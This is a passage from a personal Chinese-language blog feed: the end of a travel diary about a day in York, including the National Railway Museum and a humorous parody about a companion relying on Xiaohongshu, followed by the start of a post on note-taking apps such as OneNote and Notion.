&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230305_150925664.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230305_150925664.5a4327e3ea01bc12.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230305_150925664.9d5cbc16b282af3a.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230305_150925664.202dd387a4649432.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230305_150925664.9d5cbc16b282af3a.webp&quot;
	alt=&quot;宝剑&quot;
	
	
	height=&quot;3072&quot;
	width=&quot;4080&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;










&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230305_152058456.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230305_152058456.dd4e528e58c24675.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230305_152058456.232a2ef7d353f76a.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230305_152058456.054789a36da93219.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230305_152058456.232a2ef7d353f76a.webp&quot;
	alt=&quot;野猪徽章&quot;
	
	
	height=&quot;3072&quot;
	width=&quot;4080&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230305_154543717.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230305_154543717.94aff42f98051c29.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230305_154543717.d854bf4121f6cfac.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230305_154543717.65563c6eb5735a3c.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230305_154543717.d854bf4121f6cfac.webp&quot;
	alt=&quot;博物馆外St. Mary’s Abbey的废墟&quot;
	
	
	height=&quot;3072&quot;
	width=&quot;4080&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;h2 id=&quot;National_Railway_Museum&quot;&gt;National Railway Museum&lt;&#x2F;h2&gt;
&lt;p&gt;15:40，距离铁路博物馆关门还有一小时二十分钟，我坐在约克郡博物馆顶楼书房的沙发上。酸痛的大腿和谷歌地图上“人们通常在此停留两个半小时”的提示让我思考要不要放弃参观原定计划中的最后一站。&lt;&#x2F;p&gt;
&lt;p&gt;15:42，我进入了约克郡博物馆的电梯，决心狂奔二十分钟去看火车。等我快到铁路博物馆时正巧碰见有人带着一队小学生入场，轻松感瞬间从脚底往脑袋上涌：什么么，原来时间还很充裕么！&lt;&#x2F;p&gt;
&lt;p&gt;前台问我有没有订票，我说没有。前台乐了，笑盈盈地给我递了一张&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;13:15&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的票叫我进去。我进去后发现里面没人查票：唯一看门的工作人员在吃冰淇淋。所以门票的意义在于收藏么？&lt;&#x2F;p&gt;
&lt;p&gt;场馆里大的小的古老的老的列车很多，但经过我的左脑和右脑共同评审，最帅气的列车当属修建英法海底隧道时使用的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Channel
Tunnel Construction Locomotive：&lt;&#x2F;p&gt;
&lt;div class=&quot;columns c16-9&quot;&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230305_160637981.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230305_160637981.c4add293a4402217.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230305_160637981.6aea479dc70c66df.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230305_160637981.c81e5c0b675d6406.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230305_160637981.6aea479dc70c66df.webp&quot;
	alt=&quot;车厢&quot;
	
	
	height=&quot;3072&quot;
	width=&quot;4080&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;










&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230305_160731691.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230305_160731691.a482fe32bbca3411.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230305_160731691.7807a4ed0f388eb0.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230305_160731691.7f9f8c6e9eb598eb.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230305_160731691.7807a4ed0f388eb0.webp&quot;
	alt=&quot;车头后的仪表&quot;
	
	
	height=&quot;4080&quot;
	width=&quot;3072&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;div class=&quot;columns c9-16&quot;&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230305_160753475.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230305_160753475.040c72022780c531.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230305_160753475.5938a14f84073ac7.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230305_160753475.bdb753343619c776.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230305_160753475.5938a14f84073ac7.webp&quot;
	alt=&quot;车头中间的线缆&quot;
	
	
	height=&quot;4080&quot;
	width=&quot;3072&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;










&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230305_160815911.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230305_160815911.1cfac8aabafb8169.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230305_160815911.1e68eb7d072db651.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230305_160815911.fcff1b76f5cb4867.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230305_160815911.1e68eb7d072db651.webp&quot;
	alt=&quot;车头侧面&quot;
	
	
	height=&quot;3072&quot;
	width=&quot;4080&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;div class=&quot;columns c16-9&quot;&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230305_160844203.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230305_160844203.7771163464c6f39b.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230305_160844203.542df46d2badc707.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230305_160844203.b613ccd5bcfe64d8.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230305_160844203.542df46d2badc707.webp&quot;
	alt=&quot;驾驶舱&quot;
	
	
	height=&quot;3072&quot;
	width=&quot;4080&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;










&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230305_160901471.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230305_160901471.6cb2bb2f80f0bbac.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230305_160901471.6411f1aad1692f8f.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230305_160901471.125584574afaeba5.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230305_160901471.6411f1aad1692f8f.webp&quot;
	alt=&quot;车头正面&quot;
	
	
	height=&quot;4080&quot;
	width=&quot;3072&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;p&gt;脱落的油漆仿佛弹孔、铁锈的痕迹又像是流血。远看，这定是一台身经百战的机器。凑近再看，数目繁多的电缆、仪表和按钮又让它看起来是只存在于实验室的概念验证机。它拥有白蓝红的高达配色，又有眼镜斗犬一样的头灯。太色情了。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;毛文超福音_10:25–28&quot;&gt;毛文超福音 10:25–28&lt;&#x2F;h2&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;span class=&quot;halt&quot;&gt;“&lt;&#x2F;span&gt;夫子，我如何得到永恒的生命&lt;span class=&quot;halt&quot;&gt;？&lt;&#x2F;span&gt;”&lt;&#x2F;p&gt;
&lt;p&gt;&lt;span class=&quot;halt&quot;&gt;“&lt;&#x2F;span&gt;小红书里写了什么？你怎样读它&lt;span class=&quot;halt&quot;&gt;？&lt;&#x2F;span&gt;”&lt;&#x2F;p&gt;
&lt;p&gt;&lt;span class=&quot;halt&quot;&gt;“&lt;&#x2F;span&gt;你要全心、全性、全力、全意爱你的主——小红书，吃饭时不可点小红书上没有出现的菜品&lt;span class=&quot;halt&quot;&gt;。&lt;&#x2F;span&gt;”&lt;&#x2F;p&gt;
&lt;p&gt;&lt;span class=&quot;halt&quot;&gt;“&lt;&#x2F;span&gt;你答得对，你这样行，就必得永生&lt;span class=&quot;halt&quot;&gt;。&lt;&#x2F;span&gt;”&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;我很好奇小红书在我旅伴的生命中占据怎样的地位。在进入她从小红书上找来的餐厅后已经过去了不知多少年，她仍然在疯狂地向下划动屏幕，并且抱怨不知道吃什么——即使菜单早已摆在她的面前了。莱博维兹都因为抄写她面前的菜单封圣了，她仍然在苦苦追寻小红书的神谕。我问她为什么如此依赖小红书，她的回答是：&lt;span class=&quot;halt&quot;&gt;“&lt;&#x2F;span&gt;我不想踩雷&lt;span class=&quot;halt&quot;&gt;。&lt;&#x2F;span&gt;”&lt;&#x2F;p&gt;
&lt;p&gt;原来如此。我突然想起一位打游戏时每十分钟都要切到浏览器看攻略再走下一步的室友。我那时一直不清楚是他在打游戏还是攻略作者在替他打。在餐厅时，我也分不清吃饭的是拿手机的人还是手机里的人。&lt;&#x2F;p&gt;
&lt;p&gt;另外这家餐厅是个连锁泰国菜，但味道连第一天两个厨师的小摊都不如。就那样还抠抠缩缩的：咖喱汤汁甚至连盘子底都填不满——我怀疑他们家厨师是上法国进修的。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;返程&quot;&gt;返程&lt;&#x2F;h2&gt;
&lt;div class=&quot;columns&quot;&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230305_183653476.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230305_183653476.8ed0dc4aa0cd0754.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230305_183653476.29ba924efb15af27.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230305_183653476.f499970f7d02feba.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230305_183653476.29ba924efb15af27.webp&quot;
	alt=&quot;月色中的River Ouse&quot;
	
	
	height=&quot;3072&quot;
	width=&quot;4080&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;17:37&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;我们准时登上反向的列车，但因为纽卡斯尔和我忘了哪个站之间有照明问题，整趟列车比原定到达时间晚了五十分钟。还记得去约克的时候我疯狂抱怨火车晃，回爱丁堡时我倒希望它赶紧晃起来：因为它开快了才晃。&lt;&#x2F;p&gt;
&lt;&#x2F;div&gt;
&lt;p&gt;23:03&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;我在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Waverley&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;下车，然后走熟练到蒙眼倒立反着走都没问题的下班路回家。日常是什么时候回归到我身上的的？是铁路博物馆关门的时候、夜幕降临的时候、下火车的时候，还是随着从英格兰到苏格兰纬度一点点升高而一点点回归的？&lt;&#x2F;p&gt;
&lt;div class=&quot;columns&quot;&gt;
&lt;p&gt;总之，让我以这条和家有关的碑文结束本篇游记吧：Caius Julius Crescens to
the mother goddesses of the home paid his vow deservedly and willingly。&lt;&#x2F;p&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230305_145218366.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230305_145218366.4d961c51c01eaeba.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230305_145218366.bfa4e9ef7a7479c7.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230305_145218366.c05114272d28aa80.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230305_145218366.bfa4e9ef7a7479c7.webp&quot;
	alt=&quot;和家有关的碑文&quot;
	
	
	height=&quot;3072&quot;
	width=&quot;4080&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;h2 id=&quot;后记&quot;&gt;后记&lt;&#x2F;h2&gt;
&lt;p&gt;周一醒来，我仍然没有回到北京的家。&lt;&#x2F;p&gt;

      
&lt;div lesspub&gt;
    &lt;br&gt;
    &lt;p&gt;
        &lt;img src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&#x2F;assets&#x2F;ablobcatdundundun.gif&quot;
            style=&quot;width:1.2em;transform:translateY(.2em)&quot;
	    loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;复制以下链接，并粘贴到你的&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Mastodon、Misskey或&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;GoToSocial&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;等应用的搜索栏中，即可搜到对应本文的嘟文。对嘟文进行的点赞、转发、评论，都会出现在本文底部。快去试试吧！
    &lt;&#x2F;p&gt;
    
    &lt;p&gt;
        链接：https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;york-weekend
        &lt;button onclick=&quot;navigator.clipboard.writeText(&#x27;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;york-weekend&#x27;);document.getElementById(&#x27;url-btn&#x27;).innerText=&#x27;复制成功&#x27;&quot;
            id=&#x27;url-btn&#x27;&gt;复制地址&lt;&#x2F;button&gt;
    &lt;&#x2F;p&gt;

    



&lt;br &#x2F;&gt;
&lt;details open likes&gt;
    &lt;summary&gt;


一人赞过：&lt;&#x2F;summary&gt;
    &lt;ol reversed&gt;
        
        &lt;li&gt;&lt;a href=&quot;https:&amp;#x2F;&amp;#x2F;mona.do&amp;#x2F;users&amp;#x2F;Brsu&quot;&gt;










黑糖 :splat_golden_egg:&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
        
    &lt;&#x2F;ol&gt;
&lt;&#x2F;details&gt;



    





    



&lt;br &#x2F;&gt;
&lt;details open replies&gt;
    &lt;summary&gt;


一条评论：&lt;&#x2F;summary&gt;
    &lt;p&gt;注：点击昵称可以查看对评论的回复。&lt;&#x2F;p&gt;
    &lt;ol reversed&gt;
        
        &lt;li&gt;
            &lt;figure&gt;
                &lt;figcaption&gt;&lt;a href=&quot;https:&amp;#x2F;&amp;#x2F;mona.do&amp;#x2F;users&amp;#x2F;casouri&amp;#x2F;statuses&amp;#x2F;109984800390746296&quot;&gt;










冥王星爱丽&lt;&#x2F;a&gt;：
                &lt;&#x2F;figcaption&gt;
                
                
                    
                    
                        
                        
                    
                        
                        
                            
                            
                        
                    
                
                &lt;blockquote&gt;&lt;p&gt;&lt;span class=&quot;h-card&quot;&gt;&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;actor&quot; class=&quot;u-url mention&quot;&gt;@&lt;span&gt;actor&lt;&#x2F;span&gt;&lt;&#x2F;a&gt;&lt;&#x2F;span&gt; 真有意思www Praise thee Scarlet Scroll &lt;img src=&#x27;https:&#x2F;&#x2F;media.monado.ren&#x2F;custom_emojis&#x2F;images&#x2F;000&#x2F;049&#x2F;028&#x2F;original&#x2F;c3af278d8dd71cd1.png&#x27; style=&#x27;width:2em;transform:translateY(.2em);&#x27;
                            title=&#x27;:cdko_innocent:&#x27;&gt;&lt;&#x2F;p&gt;&lt;&#x2F;blockquote&gt;
            &lt;&#x2F;figure&gt;
        &lt;&#x2F;li&gt;
        
    &lt;&#x2F;ol&gt;
&lt;&#x2F;details&gt;


&lt;&#x2F;div&gt;

    </content>
  </entry>
  <entry xml:lang="zh-hans">
    <title>计时记账记笔记</title>
    <published>2023-02-26T23:52:40+00:00</published>
    <updated>2023-04-19T22:14:15+01:00</updated>
    <author>
      <name>马鲛鱼</name>
    </author>
    <link href="https://emptystack.top/tracking-and-note-taking/" type="text/html" />
    <id>https://emptystack.top/tracking-and-note-taking/</id>
    <content type="html">
      &lt;p&gt;打&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;2020&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;年开始我掉进了笔记的坑，从&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;2021&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;年开始我又陷入了计时和记账的泥潭。如今已经&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;2023&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;年了，我仍未找到满意的方案。这三件事和&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;control-your-markup-language&#x2F;&quot;&gt;自己的标记语言&lt;&#x2F;a&gt;、&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;dotfiles&#x2F;&quot;&gt;管理点文件&lt;&#x2F;a&gt;并称我的人生滑铁卢，因此我还是想念叨几句。另外，本文大概会持续更新。&lt;&#x2F;p&gt;
&lt;p&gt;
&lt;h2&gt;目录&lt;&#x2F;h2&gt;
&lt;ul&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;tracking-and-note-taking&#x2F;#记笔记&quot;&gt;记笔记&lt;&#x2F;a&gt;
        
        &lt;ul&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;tracking-and-note-taking&#x2F;#用过的软件&quot;&gt;用过的软件&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;tracking-and-note-taking&#x2F;#反对卡片盒笔记、第二大脑等等&quot;&gt;反对卡片盒笔记、第二大脑等等&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;tracking-and-note-taking&#x2F;#博客与笔记一体化&quot;&gt;博客与笔记一体化&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;tracking-and-note-taking&#x2F;#摘抄或导入标注的难题&quot;&gt;摘抄或导入标注的难题&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;tracking-and-note-taking&#x2F;#为了遗忘而记录&quot;&gt;为了遗忘而记录&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
        &lt;&#x2F;ul&gt;
        
    &lt;&#x2F;li&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;tracking-and-note-taking&#x2F;#记账&quot;&gt;记账&lt;&#x2F;a&gt;
        
        &lt;ul&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;tracking-and-note-taking&#x2F;#Beancount&#x2F;Fava&quot;&gt;Beancount&#x2F;Fava&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;tracking-and-note-taking&#x2F;#还得是半自动&quot;&gt;还得是半自动&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;tracking-and-note-taking&#x2F;#为了内心平静而记录&quot;&gt;为了内心平静而记录&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;tracking-and-note-taking&#x2F;#个人记账和公司记账是两码事&quot;&gt;个人记账和公司记账是两码事&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
        &lt;&#x2F;ul&gt;
        
    &lt;&#x2F;li&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;tracking-and-note-taking&#x2F;#计时&quot;&gt;计时&lt;&#x2F;a&gt;
        
        &lt;ul&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;tracking-and-note-taking&#x2F;#为了分析而记录&quot;&gt;为了分析而记录&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;tracking-and-note-taking&#x2F;#从简单的分析入手&quot;&gt;从简单的分析入手&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;tracking-and-note-taking&#x2F;#为什么非得计时&quot;&gt;为什么非得计时&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
        &lt;&#x2F;ul&gt;
        
    &lt;&#x2F;li&gt;
    
&lt;&#x2F;ul&gt;
&lt;&#x2F;p&gt;
&lt;h2 id=&quot;记笔记&quot;&gt;记笔记&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;用过的软件&quot;&gt;用过的软件&lt;&#x2F;h3&gt;
&lt;h4 id=&quot;OneNote时代&quot;&gt;OneNote&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;时代&lt;&#x2F;h4&gt;
&lt;p&gt;之所以开始记笔记，是因为上中学时老师要求记笔记——到现在我仍能回忆起无数次高中化学老师吭哧吭哧写了一黑板板书扭头发现我们都听得麻木了，着急地喊：&lt;span class=&quot;halt&quot;&gt;“&lt;&#x2F;span&gt;快记啊&lt;span class=&quot;halt&quot;&gt;！&lt;&#x2F;span&gt;”那六年我可以说是烂笔头的实践者，结果到了大学时我停止了笔记。现在回想起来，可能因为大学时老师都用幻灯片，而且允许学生带手机上课。所以没必要挑重点一笔一划地记在本子上——优盘一拷、手机一拍，就什么都“记”下来了（疫情期间更是只要截屏了&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。只有在复习时会用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;OneNote&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;在幻灯片上写写划划——不过相比高中时期的笔记密度可以说是少到可以忽略不计。&lt;&#x2F;p&gt;
&lt;p&gt;OneNote&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;几乎是完美的笔记软件：跨平台且实时同步、支持手写、可以搜索幻灯片里的文字、自由度极大的排版……我之所以放弃它是因为——我发现新买的笔记本里预装了两款&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;OneNote，然后我不知道该用哪一个。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;Notion时代&quot;&gt;Notion&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;时代&lt;&#x2F;h4&gt;
&lt;p&gt;二〇年左右我听说了&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Notion&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;这款软件，并且被它“页面可以嵌套页面”这点所震撼，随即开始使用。先不说功能，它的界面就让我很舒服：纯白的背景辅以灰色的文字以及线条构成的图标……总之比&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;OneNote&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;界面中巨大无比的紫色色块要和谐——其实我是很喜欢&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Windows&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;曾经的大色块设计，但不得不说写字的软件确实应该像书籍的正文一般柔和。&lt;&#x2F;p&gt;
&lt;p&gt;功能的话，Notion&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的表格、数据库、卡片、看板联合体是亮点，这让它极适合整理读书笔记。表格中的每一行都是可点开的页面，想获得成就感就把数据库以卡片形式展示，想记录进度就再以看板模式浏览。我真希望&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Calibre&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;也能有这种揉合了表格、超链接、视图的数据库——想想给&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Calibre&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;添加自定义列有多费劲吧。不过大概用了一年我就懒得整理了。现在回想起来，还是应该有一些自动化才能坚持。&lt;&#x2F;p&gt;





